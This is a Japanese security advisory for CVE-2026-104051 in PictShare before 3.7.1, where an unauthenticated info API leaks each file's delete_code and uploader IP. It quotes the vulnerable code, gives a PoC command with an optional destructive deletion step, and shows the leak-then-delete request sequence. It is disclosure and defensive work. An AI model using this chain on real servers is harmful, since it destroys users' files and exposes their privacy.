PictShare < 3.7.1 における info API を介した機密情報漏洩 (CWE-522)。PoC とアドバイザリの解説。
info API を介した機密情報の漏洩許可されたセキュリティ研究。PoC は防御および教育目的でのみ使用してください。
PictShare の /api/info/<hash> エンドポイントは、
アップロードされた任意のファイルの完全な生メタデータオブジェクトを返します — これには削除を
承認する秘密の delete_code、さらにアップロード者の IP、User-Agent、リモートポート、SHA-1 が
含まれます。ファイルの(公開されている)ハッシュを知っている未認証の攻撃者は、その
delete_code を読み取り、任意のホストされたファイルを恒久的に削除できます。
| CVE | CVE-2026-104051 |
| 製品 | PictShare(セルフホスト型画像/メディアホスト) |
| 影響を受けるバージョン | >= 2.0.0, < 3.7.1 |
| 修正バージョン | v3.7.1 |
| 脆弱性 | 不十分に保護された認証情報(CWE-522)→ 任意のファイル削除 + プライバシー損失 |
| 必要な権限 | なし(未認証) |
| CVSS 3.1 | 8.2 HIGH — AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H |
| CVSS 4.0 | 8.8 HIGH — AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H |
| 発見者 | Alisher Qarshibayev |
| アドバイザリ | VulnCheck |
API::info() はハッシュを検索し、getMetadataOfHash() をそのまま返します — フィールドの
ホワイトリストはありません:
// src/inc/api.class.php (< 3.7.1)
public function info()
{
$hash = $this->url[1] ?? '';
if (!$hash) return ['status' => 'err', 'reason' => 'Missing hash'];
if (!isExistingHash($hash)) return ['status' => 'err', 'reason' => 'Hash not found'];
return getMetadataOfHash($hash); // <-- raw meta.json, includes delete_code, ip, useragent
}
そして checkPermissions() — info ルートの前にある唯一のゲート — はファイルシステムの
書き込み可能性をチェックするのであって、身元をチェックするのではありません。そのため info は
未認証で到達可能です:
public function checkPermissions()
{
if (!isFolderWritable(getDataDir())) throw new Exception('Data directory not writable');
else if (!isFolderWritable(ROOT.DS.'tmp')) throw new Exception('Temp directory not writable');
}
返されるメタデータには delete_code が含まれており、削除 API はこれを唯一の承認シークレット
として受け入れます:
// src/inc/api.class.php delete()
$correctCode = getDeleteCodeOfHash($hash);
if ($correctCode !== $code && $masterCode !== $code)
return ['status' => 'err', 'reason' => 'Invalid delete code'];
deleteHash($hash);
ファイルハッシュは公開されており(すべての共有画像 URL に現れます)、そのためこの一連の流れ —
info でコードを漏洩させ、delete で削除する — には、ユーザーがすでに共有した URL 以外に
何も必要ありません。
python3 poc.py --url https://pics.example.com --hash <public_file_hash>
# add --delete to actually exercise the deletion (destructive) step
期待される結果:
[*] GET /api/info/<hash>
[+] Leaked metadata via info API:
delete_code : 7f3a9c1e... <-- SECRET, should never be exposed
ip : 203.0.113.44 <-- uploader privacy leak
useragent : Mozilla/5.0 ...
remote_port : 51544
sha1 : da39a3ee...
[+] CVE-2026-104051 confirmed: delete_code exposed to unauthenticated caller
[i] With --delete: GET /api/delete/<leaked_code>/<hash> -> {"status":"ok"}
poc.py を参照してください。削除はオプトイン(--delete)であるため、デフォルトの
実行は読み取り専用で非破壊的です。
PictShare 3.7.1 にアップグレードしてください(修正コミット ce5fc47)。
info() は厳格なホワイトリスト(mime、size、hash、sha1、uploaded)を返すようになり、
delete_code、ip、useragent、remote_port を漏洩しなくなりました。一般的なガイダンス:
API レスポンスはフィールドを明示的にホワイトリスト化する必要があります。シークレットと公開データを
混在させた内部レコードを決してシリアライズしないでください。
関連: CVE-2026-104356 — この漏洩がなくても、
delete_codeはrand()で生成されていたため予測可能でした。
| 日付 | イベント |
|---|---|
| 2026-10-01 | 公開開示、CVE の予約と公開(VulnCheck)、v3.7.1 で修正 |
ベンダーに責任を持って開示し、VulnCheck を通じて調整しました。この PoC のリリース前に修正されました。 防御および教育目的で公開されています。